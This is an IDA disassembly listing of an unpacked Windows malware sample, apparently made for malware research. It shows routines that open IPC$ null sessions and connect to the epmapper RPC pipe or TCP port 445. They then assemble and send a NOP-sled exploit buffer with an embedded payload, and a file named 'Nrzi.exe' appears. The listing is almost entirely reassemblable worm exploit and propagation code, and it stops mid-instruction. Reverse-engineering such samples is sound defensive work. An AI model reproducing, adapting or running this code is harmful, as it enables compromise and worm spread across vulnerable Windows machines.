; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: 48-377D-7114-93 SRI International, 1 computer, std, 11/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 24B6FB10DE35E3E48A776308103CDE29 ; File Name : u:\work\24b6fb10de35e3e48a776308103cde29_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0001A3B0 ( 107440.) ; Section size in file : 0001A3B0 ( 107440.) ; Offset to raw data for section: 00000600 ; Flags 60000020: Text Executable Readable ; Alignment : default ; OS type : MS Windows ; Application type: Executable 32bit include uni.inc ; see unicode subdir of ida for info on unicode .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_401000(LPCSTR lpMultiByteStr, int) sub_401000 proc near ; CODE XREF: sub_4016C0+27p Dest = word ptr -358h var_352 = byte ptr -352h var_128 = byte ptr -128h Source = word ptr -11Ch var_4 = dword ptr -4 lpMultiByteStr = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 358h push esi push edi mov esi, offset aIpc ; "\\IPC$" lea edi, [ebp+var_128] movsd movsd movsd mov esi, offset asc_41E568 ; "\\\\" lea edi, [ebp+Dest] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_352] rep stosd stosw mov al, byte_4248A4 mov byte ptr [ebp+Source], al push 45h pop ecx xor eax, eax lea edi, [ebp+Source+1] rep stosd stosw stosb push 0FFh ; cchWideChar lea eax, [ebp+Source] push eax ; lpWideCharStr push 0FFFFFFFFh ; cbMultiByte push [ebp+lpMultiByteStr] ; lpMultiByteStr push 0 ; dwFlags push 0 ; CodePage call ds:MultiByteToWideChar ; MultiByteToWideChar lea eax, [ebp+Source] push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _wcscat pop ecx pop ecx lea eax, [ebp+var_128] push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _wcscat pop ecx pop ecx mov eax, [ebp+arg_4] and dword ptr [eax+4], 0 mov eax, [ebp+arg_4] and dword ptr [eax+10h], 0 mov eax, [ebp+arg_4] lea ecx, [ebp+Dest] mov [eax+14h], ecx mov eax, [ebp+arg_4] and dword ptr [eax+1Ch], 0 push 0 push offset dword_4248A8 push offset dword_4248AC push [ebp+arg_4] call dword_4264C0 mov [ebp+var_4], eax cmp [ebp+var_4], 5 jz short loc_4010E0 cmp [ebp+var_4], 4C3h jnz short loc_4010F2 loc_4010E0: ; CODE XREF: sub_401000+D5j push 0 push 0 push 0 push [ebp+arg_4] call dword_4264C0 mov [ebp+var_4], eax loc_4010F2: ; CODE XREF: sub_401000+DEj cmp [ebp+var_4], 5 jz short loc_401101 cmp [ebp+var_4], 4C3h jnz short loc_401105 loc_401101: ; CODE XREF: sub_401000+F6j xor eax, eax jmp short loc_401108 ; --------------------------------------------------------------------------- loc_401105: ; CODE XREF: sub_401000+FFj push 1 pop eax loc_401108: ; CODE XREF: sub_401000+103j pop edi pop esi leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40110C(LPCSTR lpMultiByteStr) sub_40110C proc near ; CODE XREF: sub_4016C0+83p ; sub_4016C0+E3p ... Dest = word ptr -354h var_34E = byte ptr -34Eh var_124 = byte ptr -124h Source = word ptr -118h lpMultiByteStr = dword ptr 8 push ebp mov ebp, esp sub esp, 354h push esi push edi mov esi, offset aIpc_0 ; "\\IPC$" lea edi, [ebp+var_124] movsd movsd movsd mov esi, offset asc_41E57C ; "\\\\" lea edi, [ebp+Dest] movsd movsw mov ecx, 8Ah xor eax, eax lea edi, [ebp+var_34E] rep stosd stosw mov al, byte_4248B0 mov byte ptr [ebp+Source], al push 45h pop ecx xor eax, eax lea edi, [ebp+Source+1] rep stosd stosw stosb push 0FFh ; cchWideChar lea eax, [ebp+Source] push eax ; lpWideCharStr push 0FFFFFFFFh ; cbMultiByte push [ebp+lpMultiByteStr] ; lpMultiByteStr push 0 ; dwFlags push 0 ; CodePage call ds:MultiByteToWideChar ; MultiByteToWideChar lea eax, [ebp+Source] push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _wcscat pop ecx pop ecx lea eax, [ebp+var_124] push eax ; Source lea eax, [ebp+Dest] push eax ; Dest call _wcscat pop ecx pop ecx loc_4011A4: ; CODE XREF: sub_40110C+B8j push 0 push 0 lea eax, [ebp+Dest] push eax call dword_426388 test eax, eax jz short loc_4011C6 push 7D0h ; dwMilliseconds call ds:Sleep ; Sleep jmp short loc_4011A4 ; --------------------------------------------------------------------------- loc_4011C6: ; CODE XREF: sub_40110C+ABj push 1 pop eax pop edi pop esi leave retn sub_40110C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4011CD proc near ; CODE XREF: sub_4016C0+B9p ; sub_4016C0+2DEp var_301C = dword ptr -301Ch var_3018 = dword ptr -3018h var_3014 = dword ptr -3014h Dst = byte ptr -3010h var_2FEC = byte ptr -2FECh Size = dword ptr -2010h Src = byte ptr -200Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = byte ptr -1004h var_CA4 = byte ptr -0CA4h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h arg_C4 = dword ptr 0CCh push ebp mov ebp, esp mov eax, 301Ch call __alloca_probe and [ebp+var_4], 0 and [ebp+var_1008], 0 and [ebp+var_3018], 0 and [ebp+var_3014], 0 mov [ebp+Size], 0A7h push offset String2 ; "Nrzi.exe" push [ebp+arg_0] call sub_40892F pop ecx push eax ; Str push 1000h ; int lea eax, [ebp+Src] push eax ; Dst call sub_40FFBD add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_401230 xor eax, eax jmp locret_4016BE ; --------------------------------------------------------------------------- loc_401230: ; CODE XREF: sub_4011CD+5Aj push 30h ; Size push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" mov eax, [ebp+var_1008] lea eax, [ebp+eax+Dst] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_1008] add eax, 30h mov [ebp+var_1008], eax push [ebp+Size] ; Size push 0FFFFFF90h ; Val mov eax, [ebp+var_1008] lea eax, [ebp+eax+Dst] push eax ; Dst call _memset add esp, 0Ch mov eax, [ebp+var_1008] add eax, [ebp+Size] mov [ebp+var_1008], eax push [ebp+var_4] ; Size lea eax, [ebp+Src] push eax ; Src mov eax, [ebp+var_1008] lea eax, [ebp+eax+Dst] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_1008] add eax, [ebp+var_4] mov [ebp+var_1008], eax mov eax, [ebp+var_1008] mov [ebp+var_3018], eax and [ebp+var_1008], 0 loc_4012CE: ; CODE XREF: sub_4011CD+1C1j mov eax, [ebp+var_3018] cdq push 10h pop ecx idiv ecx cmp edx, 0Ch jz loc_401393 mov eax, [ebp+Size] inc eax mov [ebp+Size], eax push 30h ; Size push offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX" mov eax, [ebp+var_1008] lea eax, [ebp+eax+Dst] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_1008] add eax, 30h mov [ebp+var_1008], eax push [ebp+Size] ; Size push 0FFFFFF90h ; Val mov eax, [ebp+var_1008] lea eax, [ebp+eax+Dst] push eax ; Dst call _memset add esp, 0Ch mov eax, [ebp+var_1008] add eax, [ebp+Size] mov [ebp+var_1008], eax push [ebp+var_4] ; Size lea eax, [ebp+Src] push eax ; Src mov eax, [ebp+var_1008] lea eax, [ebp+eax+Dst] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_1008] add eax, [ebp+var_4] mov [ebp+var_1008], eax mov eax, [ebp+var_1008] mov [ebp+var_3018], eax and [ebp+var_1008], 0 jmp loc_4012CE ; --------------------------------------------------------------------------- loc_401393: ; CODE XREF: sub_4011CD+110j cmp [ebp+arg_C4], 0 jz short loc_4013DE cmp [ebp+arg_C0], 3 jz short loc_4013AE cmp [ebp+arg_C0], 0 jnz short loc_4013C6 loc_4013AE: ; CODE XREF: sub_4011CD+1D6j push 4 ; Size push offset dword_41E558 ; Src lea eax, [ebp+var_2FEC] push eax ; Dst call _memcpy add esp, 0Ch jmp short loc_4013DC ; --------------------------------------------------------------------------- loc_4013C6: ; CODE XREF: sub_4011CD+1DFj push 4 ; Size push offset dword_41E554 ; Src lea eax, [ebp+var_2FEC] push eax ; Dst call _memcpy add esp, 0Ch loc_4013DC: ; CODE XREF: sub_4011CD+1F7j jmp short loc_401415 ; --------------------------------------------------------------------------- loc_4013DE: ; CODE XREF: sub_4011CD+1CDj cmp [ebp+arg_C0], 3 jnz short loc_4013FF push 4 ; Size push offset dword_41E558 ; Src lea eax, [ebp+var_2FEC] push eax ; Dst call _memcpy add esp, 0Ch jmp short loc_401415 ; --------------------------------------------------------------------------- loc_4013FF: ; CODE XREF: sub_4011CD+218j push 4 ; Size push offset dword_41E554 ; Src lea eax, [ebp+var_2FEC] push eax ; Dst call _memcpy add esp, 0Ch loc_401415: ; CODE XREF: sub_4011CD:loc_4013DCj ; sub_4011CD+230j push 360h ; Size push offset dword_41E08C ; Src mov eax, [ebp+var_1008] lea eax, [ebp+eax+var_1004] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_1008] add eax, 360h mov [ebp+var_1008], eax push 10h ; Size push offset dword_41E3F0 ; Src mov eax, [ebp+var_1008] lea eax, [ebp+eax+var_1004] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_1008] add eax, 10h mov [ebp+var_1008], eax push [ebp+var_3018] ; Size lea eax, [ebp+Dst] push eax ; Src mov eax, [ebp+var_1008] lea eax, [ebp+eax+var_1004] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_1008] add eax, [ebp+var_3018] mov [ebp+var_1008], eax push 3Ch ; Size push offset off_41E404 ; Src mov eax, [ebp+var_1008] lea eax, [ebp+eax+var_1004] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_1008] add eax, 3Ch mov [ebp+var_1008], eax push 30h ; Size push offset dword_41E444 ; Src mov eax, [ebp+var_1008] lea eax, [ebp+eax+var_1004] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_1008] add eax, 30h mov [ebp+var_1008], eax mov eax, [ebp+var_1008] mov [ebp+var_3014], eax lea eax, [ebp+var_CA4] mov [ebp+var_301C], eax mov eax, [ebp+var_3018] cdq sub eax, edx sar eax, 1 mov ecx, [ebp+var_301C] mov ecx, [ecx] add ecx, eax mov eax, [ebp+var_301C] mov [eax], ecx mov eax, [ebp+var_3018] cdq sub eax, edx sar eax, 1 mov ecx, [ebp+var_301C] mov ecx, [ecx+8] add ecx, eax mov eax, [ebp+var_301C] mov [eax+8], ecx lea eax, [ebp+var_1004] mov [ebp+var_301C], eax mov eax, [ebp+var_301C] mov eax, [eax+8] mov ecx, [ebp+var_3018] lea eax, [eax+ecx-0Ch] mov ecx, [ebp+var_301C] mov [ecx+8], eax mov eax, [ebp+var_301C] mov eax, [eax+10h] mov ecx, [ebp+var_3018] lea eax, [eax+ecx-0Ch] mov ecx, [ebp+var_301C] mov [ecx+10h], eax mov eax, [ebp+var_301C] mov eax, [eax+80h] mov ecx, [ebp+var_3018] lea eax, [eax+ecx-0Ch] mov ecx, [ebp+var_301C] mov [ecx+80h], eax mov eax, [ebp+var_301C] mov eax, [eax+84h] mov ecx, [ebp+var_3018] lea eax, [eax+ecx-0Ch] mov ecx, [ebp+var_301C] mov [ecx+84h], eax mov eax, [ebp+var_301C] mov eax, [eax+0B4h] mov ecx, [ebp+var_3018] lea eax, [eax+ecx-0Ch] mov ecx, [ebp+var_301C] mov [ecx+0B4h], eax mov eax, [ebp+var_301C] mov eax, [eax+0B8h] mov ecx, [ebp+var_3018] lea eax, [eax+ecx-0Ch] mov ecx, [ebp+var_301C] mov [ecx+0B8h], eax mov eax, [ebp+var_301C] mov eax, [eax+0D0h] mov ecx, [ebp+var_3018] lea eax, [eax+ecx-0Ch] mov ecx, [ebp+var_301C] mov [ecx+0D0h], eax mov eax, [ebp+var_301C] mov eax, [eax+18Ch] mov ecx, [ebp+var_3018] lea eax, [eax+ecx-0Ch] mov ecx, [ebp+var_301C] mov [ecx+18Ch], eax mov eax, [ebp+var_3014] inc eax push eax ; Size call _malloc pop ecx mov [ebp+var_100C], eax mov eax, [ebp+var_3014] inc eax push eax ; Size push 0 ; Val push [ebp+var_100C] ; Dst call _memset add esp, 0Ch push [ebp+var_3014] ; Size lea eax, [ebp+var_1004] push eax ; Src push [ebp+var_100C] ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+arg_BC] mov ecx, [ebp+var_3014] mov [eax], ecx mov eax, [ebp+var_100C] locret_4016BE: ; CODE XREF: sub_4011CD+5Ej leave retn sub_4011CD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4016C0(char, const CHAR MultiByteStr, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int, int) sub_4016C0 proc near ; CODE XREF: sub_405759+29Fp ; DATA XREF: .data:off_41ED9Co Dst = word ptr -1168h var_1166 = word ptr -1166h var_1164 = dword ptr -1164h var_1158 = byte ptr -1158h var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_14C = dword ptr -14Ch var_148 = dword ptr -148h Memory = dword ptr -144h hObject = dword ptr -140h lpBuffer = dword ptr -13Ch NumberOfBytesWritten= dword ptr -138h var_134 = dword ptr -134h Dest = byte ptr -130h var_2C = dword ptr -2Ch nNumberOfBytesToWrite= dword ptr -28h NumberOfBytesRead= dword ptr -24h var_20 = dword ptr -20h arg_0 = byte ptr 8 MultiByteStr = byte ptr 0Ch arg_A0 = dword ptr 0A8h push ebp mov ebp, esp mov eax, 1168h call __alloca_probe push esi push edi cmp [ebp+arg_A0], 1BDh jnz loc_4018FB lea eax, [ebp+var_20] push eax ; int lea eax, [ebp+MultiByteStr] push eax ; lpMultiByteStr call sub_401000 pop ecx pop ecx test eax, eax jnz short loc_4016F9 xor eax, eax jmp loc_401AFD ; --------------------------------------------------------------------------- loc_4016F9: ; CODE XREF: sub_4016C0+30j lea eax, [ebp+MultiByteStr] push eax push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" lea eax, [ebp+Dest] push eax ; Dest call _sprintf add esp, 0Ch push 0 ; hTemplateFile push 80h ; dwFlagsAndAttributes push 3 ; dwCreationDisposition push 0 ; lpSecurityAttributes push 1 ; dwShareMode push 0C0000000h ; dwDesiredAccess lea eax, [ebp+Dest] push eax ; lpFileName call ds:CreateFileA ; CreateFileA mov [ebp+hObject], eax cmp [ebp+hObject], 0FFFFFFFFh jnz short loc_401750 lea eax, [ebp+MultiByteStr] push eax ; lpMultiByteStr call sub_40110C pop ecx xor eax, eax jmp loc_401AFD ; --------------------------------------------------------------------------- loc_401750: ; CODE XREF: sub_4016C0+7Dj push 2 lea eax, [ebp+MultiByteStr] push eax call sub_409D82 pop ecx pop ecx mov [ebp+var_2C], eax push 1 push [ebp+var_2C] lea eax, [ebp+nNumberOfBytesToWrite] push eax sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+arg_0] mov edi, esp rep movsd call sub_4011CD add esp, 0C8h mov [ebp+lpBuffer], eax cmp [ebp+lpBuffer], 0 jnz short loc_4017B0 push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle lea eax, [ebp+MultiByteStr] push eax ; lpMultiByteStr call sub_40110C pop ecx xor eax, eax jmp loc_401AFD ; --------------------------------------------------------------------------- loc_4017B0: ; CODE XREF: sub_4016C0+D1j push 186A0h ; Size call _malloc pop ecx mov [ebp+Memory], eax push 186A0h ; Size push 0 ; Val push [ebp+Memory] ; Dst call _memset add esp, 0Ch push 0 ; lpOverlapped lea eax, [ebp+NumberOfBytesRead] push eax ; lpBytesRead push 2710h ; nOutBufferSize push [ebp+Memory] ; lpOutBuffer push 48h ; nInBufferSize push offset dword_41E040 ; lpInBuffer push [ebp+hObject] ; hNamedPipe call ds:TransactNamedPipe ; TransactNamedPipe mov eax, [ebp+Memory] movsx eax, byte ptr [eax+2] cmp eax, 0Ch jz short loc_40183E push [ebp+Memory] ; Memory call _free pop ecx push [ebp+lpBuffer] ; Memory call _free pop ecx push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle lea eax, [ebp+MultiByteStr] push eax ; lpMultiByteStr call sub_40110C pop ecx xor eax, eax jmp loc_401AFD ; --------------------------------------------------------------------------- loc_40183E: ; CODE XREF: sub_4016C0+147j push 0 ; lpOverlapped lea eax, [ebp+NumberOfBytesWritten] push eax ; lpNumberOfBytesWritten push [ebp+nNumberOfBytesToWrite] ; nNumberOfBytesToWrite push [ebp+lpBuffer] ; lpBuffer push [ebp+hObject] ; hFile call ds:WriteFile ; WriteFile test eax, eax jnz short loc_401895 push [ebp+Memory] ; Memory call _free pop ecx push [ebp+lpBuffer] ; Memory call _free pop ecx push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle lea eax, [ebp+MultiByteStr] push eax ; lpMultiByteStr call sub_40110C pop ecx xor eax, eax jmp loc_401AFD ; --------------------------------------------------------------------------- loc_401895: ; CODE XREF: sub_4016C0+19Ej push 0 ; lpOverlapped lea eax, [ebp+NumberOfBytesRead] push eax ; lpNumberOfBytesRead push 2710h ; nNumberOfBytesToRead push [ebp+Memory] ; lpBuffer push [ebp+hObject] ; hFile call ds:ReadFile ; ReadFile mov [ebp+var_134], eax push [ebp+lpBuffer] ; Memory call _free pop ecx push [ebp+Memory] ; Memory call _free pop ecx push [ebp+hObject] ; hObject call ds:CloseHandle ; CloseHandle lea eax, [ebp+MultiByteStr] push eax ; lpMultiByteStr call sub_40110C pop ecx cmp [ebp+var_134], 1 jnz short loc_4018F6 xor eax, eax jmp loc_401AFD ; --------------------------------------------------------------------------- loc_4018F6: ; CODE XREF: sub_4016C0+22Dj jmp loc_401AEF ; --------------------------------------------------------------------------- loc_4018FB: ; CODE XREF: sub_4016C0+19j push 1 lea eax, [ebp+MultiByteStr] push eax call sub_409D82 pop ecx pop ecx mov [ebp+var_150], eax cmp [ebp+var_150], 1 jnz short loc_40191E xor eax, eax jmp loc_401AFD ; --------------------------------------------------------------------------- loc_40191E: ; CODE XREF: sub_4016C0+255j push 0 push 1 push 2 call dword_4264A0 ; socket mov [ebp+var_148], eax cmp [ebp+var_148], 0FFFFFFFFh jnz short loc_401940 xor eax, eax jmp loc_401AFD ; --------------------------------------------------------------------------- loc_401940: ; CODE XREF: sub_4016C0+277j push 10h ; Size push 0 ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch mov [ebp+Dst], 2 push [ebp+arg_A0] call dword_426424 ; ntohs mov [ebp+var_1166], ax lea eax, [ebp+MultiByteStr] push eax call dword_426460 ; inet_addr mov [ebp+var_1164], eax push 0 push [ebp+var_150] lea eax, [ebp+var_14C] push eax sub esp, 0BCh push 2Fh pop ecx lea esi, [ebp+arg_0] mov edi, esp rep movsd call sub_4011CD add esp, 0C8h mov [ebp+var_158], eax cmp [ebp+var_158], 0 jnz short loc_4019CB push [ebp+var_148] call dword_4264B8 ; closesocket xor eax, eax jmp loc_401AFD ; --------------------------------------------------------------------------- loc_4019CB: ; CODE XREF: sub_4016C0+2F6j push 10h lea eax, [ebp+Dst] push eax push [ebp+var_148] call dword_4263D8 ; connect mov [ebp+var_154], eax cmp [ebp+var_154], 0FFFFFFFFh jnz short loc_401A0E push [ebp+var_158] ; Memory call _free pop ecx push [ebp+var_148] call dword_4264B8 ; closesocket xor eax, eax jmp loc_401AFD ; --------------------------------------------------------------------------- loc_401A0E: ; CODE XREF: sub_4016C0+32Dj push 0 push 48h push offset dword_41E040 push [ebp+var_148] call dword_426470 ; send cmp eax, 0FFFFFFFFh jnz short loc_401A47 push [ebp+var_158] ; Memory call _free pop ecx push [ebp+var_148] call dword_4264B8 ; closesocket xor eax, eax jmp loc_401AFD ; --------------------------------------------------------------------------- loc_401A47: ; CODE XREF: sub_4016C0+366j push 0 push 1000h lea eax, [ebp+var_1158] push eax push [ebp+var_148] call dword_42643C ; recv push 0 push [ebp+var_14C] push [ebp+var_158] push [ebp+var_148] call dword_426470 ; send cmp eax, 0FFFFFFFFh jnz short loc_401A9C push [ebp+var_158] ; Memory call _free pop ecx push [ebp+var_148] call dword_4264B8 ; closesocket xor eax, eax jmp short loc_401AFD ; --------------------------------------------------------------------------- loc_401A9C: ; CODE XREF: sub_4016C0+3BEj push 0 push 1000h lea eax, [ebp+var_1158] push eax push [ebp+var_148] call dword_42643C ; recv cmp eax, 0FFFFFFFFh jnz short loc_401AD7 push [ebp+var_158] ; Memory call _free pop ecx push [ebp+var_148] call dword_4264B8 ; closesocket xor eax, eax jmp short loc_401AFD ; --------------------------------------------------------------------------- loc_401AD7: ; CODE XREF: sub_4016C0+3F9j push [ebp+var_158] ; Memory call _free pop ecx push [ebp+var_148] call dword_4264B8 ; closesocket loc_401AEF: ; CODE XREF: sub_4016C0:loc_4018F6j push 3E8h ; dwMilliseconds call ds:Sleep ; Sleep push 1 pop eax loc_401AFD: ; CODE XREF: sub_4016C0+34j ; sub_4016C0+8Bj ... pop edi pop esi leave retn sub_4016C0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401B01 proc near ; CODE XREF: sub_401EC3+Fp ; sub_401EC3+49p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] and dword ptr [eax], 0 mov eax, [ebp+var_4] leave retn sub_401B01 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch mov [ebp-0Ch], ecx push dword ptr [ebp+8] call _strlen pop ecx push eax push dword ptr [ebp+8] lea ecx, [ebp-8] call sub_401B4C mov ecx, [eax] mov eax, [eax+4] mov edx, [ebp-0Ch] mov [edx], ecx mov [edx+4], eax mov eax, [ebp-0Ch] leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_401B4C(void *Src, size_t Size) sub_401B4C proc near ; CODE XREF: .text:00401B33p ; sub_401EC3+145p var_8 = dword ptr -8 Dst = dword ptr -4 Src = dword ptr 8 Size = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx push [ebp+Size] ; Size call _malloc pop ecx mov [ebp+Dst], eax cmp [ebp+Dst], 0 jnz short loc_401B68 jmp short loc_401B9A ; --------------------------------------------------------------------------- loc_401B68: ; CODE XREF: sub_401B4C+18j push [ebp+Size] ; Size push 0 ; Val push [ebp+Dst] ; Dst call _memset add esp, 0Ch push [ebp+Size] ; Size push [ebp+Src] ; Src push [ebp+Dst] ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+var_8] mov ecx, [ebp+Size] mov [eax+4], ecx mov eax, [ebp+var_8] mov ecx, [ebp+Dst] mov [eax], ecx loc_401B9A: ; CODE XREF: sub_401B4C+1Aj mov eax, [ebp+var_8] leave retn 8 sub_401B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __stdcall sub_401BA1(void *Src, size_t Size, int, int) sub_401BA1 proc near ; CODE XREF: sub_401D3C+1Ep ; sub_401DD0+1Dp ... var_8 = dword ptr -8 Dst = dword ptr -4 Src = dword ptr 8 Size = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], ecx mov eax, [ebp+Size] add eax, [ebp+arg_C] push eax ; Size call _malloc pop ecx mov [ebp+Dst], eax cmp [ebp+Dst], 0 jnz short loc_401BC1 jmp short loc_401C0F ; --------------------------------------------------------------------------- loc_401BC1: ; CODE XREF: sub_401BA1+1Cj mov eax, [ebp+Size] add eax, [ebp+arg_C] push eax ; Size push 0 ; Val push [ebp+Dst] ; Dst call _memset add esp, 0Ch push [ebp+Size] ; Size push [ebp+Src] ; Src push [ebp+Dst] ; Dst call _memcpy add esp, 0Ch push [ebp+arg_C] ; Size push [ebp+arg_8] ; Src mov eax, [ebp+Dst] add eax, [ebp+Size] push eax ; Dst call _memcpy add esp, 0Ch mov eax, [ebp+Size] add eax, [ebp+arg_C] mov ecx, [ebp+var_8] mov [ecx+4], eax mov eax, [ebp+var_8] mov ecx, [ebp+Dst] mov [eax], ecx loc_401C0F: ; CODE XREF: sub_401BA1+1Ej mov eax, [ebp+var_8] leave retn 10h sub_401BA1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401C16 proc near ; CODE XREF: sub_401D3C+71p ; sub_401D3C+8Bp ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx mov eax, [ebp+var_4] cmp dword ptr [eax], 0 jz short loc_401C30 mov eax, [ebp+var_4] push dword ptr [eax] ; Memory call _free pop ecx loc_401C30: ; CODE XREF: sub_401C16+Dj mov eax, [ebp+var_4] and dword ptr [eax+4], 0 mov eax, [ebp+var_4] and dword ptr [eax], 0 leave retn sub_401C16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401C3F proc near ; CODE XREF: sub_401D3C+26p ; sub_401E47+Cp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 Dst = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], ecx mov eax, [ebp+var_C] cmp dword ptr [eax+4], 0FFFFh jl short loc_401C5B xor al, al jmp locret_401D3A ; --------------------------------------------------------------------------- loc_401C5B: ; CODE XREF: sub_401C3F+13j mov eax, [ebp+var_C] cmp dword ptr [eax+4], 7Fh jge short loc_401C6D mov [ebp+var_8], 1 jmp short loc_401C74 ; --------------------------------------------------------------------------- loc_401C6D: ; CODE XREF: sub_401C3F+23j mov [ebp+var_8], 3 loc_401C74: ; CODE XREF: sub_401C3F+2Cj mov eax, [ebp+var_C] mov eax, [eax+4] add eax, [ebp+var_8] push eax ; Size call _malloc pop ecx mov [ebp+Dst], eax cmp [ebp+Dst], 0 jnz short loc_401C94 xor al, al jmp locret_401D3A ; --------------------------------------------------------------------------- loc_401C94: ; CODE XREF: sub_401C3F+4Cj mov eax, [ebp+var_C] mov eax, [eax+4] add eax, [ebp+var_8] push eax ; Size push 0 ; Val push [ebp+Dst] ; Dst call _memset add esp, 0Ch cmp [ebp+var_8], 1 jnz short loc_401CD6 mov eax, [ebp+Dst] mov ecx, [ebp+var_C] mov cl, [ecx+4] mov [eax], cl mov eax, [ebp+var_C] push dword ptr [eax+4] ; Size mov eax, [ebp+var_C] push dword ptr [eax] ; Src mov eax, [ebp+Dst] inc eax push eax ; Dst call _memcpy add esp, 0Ch jmp short loc_401D16 ; --------------------------------------------------------------------------- loc_401CD6: ; CODE XREF: sub_401C3F+70j mov eax, [ebp+Dst] mov byte ptr [eax], 82h mov eax, [ebp+var_C] mov eax, [eax+4] sar eax, 8 mov ecx, [ebp+Dst] mov [ecx+1], al mov eax, [ebp+var_C] mov eax, [eax+4] and eax, 0FFh mov ecx, [ebp+Dst] mov [ecx+2], al mov eax, [ebp+var_C] push dword ptr [eax+4] ; Size mov eax, [ebp+var_C] push dword ptr [eax] ; Src mov eax, [ebp+Dst] add eax, 3 push eax ; Dst call _memcpy add esp, 0Ch loc_401D16: ; CODE XREF: sub_401C3F+95j mov eax, [ebp+var_C] push dword ptr [eax] ; Memory call _free pop ecx mov eax, [ebp+var_C] mov ecx, [ebp+var_8] add ecx, [eax+4] mov eax, [ebp+var_C] mov [eax+4], ecx mov eax, [ebp+var_C] mov ecx, [ebp+Dst] mov [eax], ecx mov al, 1 locret_401D3A: ; CODE XREF: sub_401C3F+17j ; sub_401C3F+50j leave retn sub_401C3F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D3C proc near ; CODE XREF: sub_401EC3+A5p ; sub_401EC3+100p ... var_10 = dword ptr -10h Src = dword ptr -0Ch Size = dword ptr -8 Dst = dword ptr -4 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], ecx mov eax, [ebp+var_10] push dword ptr [eax+4] ; int mov eax, [ebp+var_10] push dword ptr [eax] ; int push 1 ; Size push offset dword_4248C0 ; Src lea ecx, [ebp+Src] call sub_401BA1 lea ecx, [ebp+Src] call sub_401C3F mov eax, [ebp+Size] inc eax push eax ; Size call _malloc pop ecx mov [ebp+Dst], eax cmp [ebp+Dst], 0 jnz short loc_401D7F xor al, al jmp short locret_401DCE ; --------------------------------------------------------------------------- loc_401D7F: ; CODE XREF: sub_401D3C+3Dj mov eax, [ebp+Size] inc eax push eax ; Size push 0 ; Val push [ebp+Dst] ; Dst call _memset add esp, 0Ch mov eax, [ebp+Dst] mov byte ptr [eax], 3 push [ebp+Size] ; Size push [ebp+Src] ; Src mov eax, [ebp+Dst] inc eax push eax ; Dst call _memcpy add esp, 0Ch mov ecx, [ebp+var_10] call sub_401C16 mov eax, 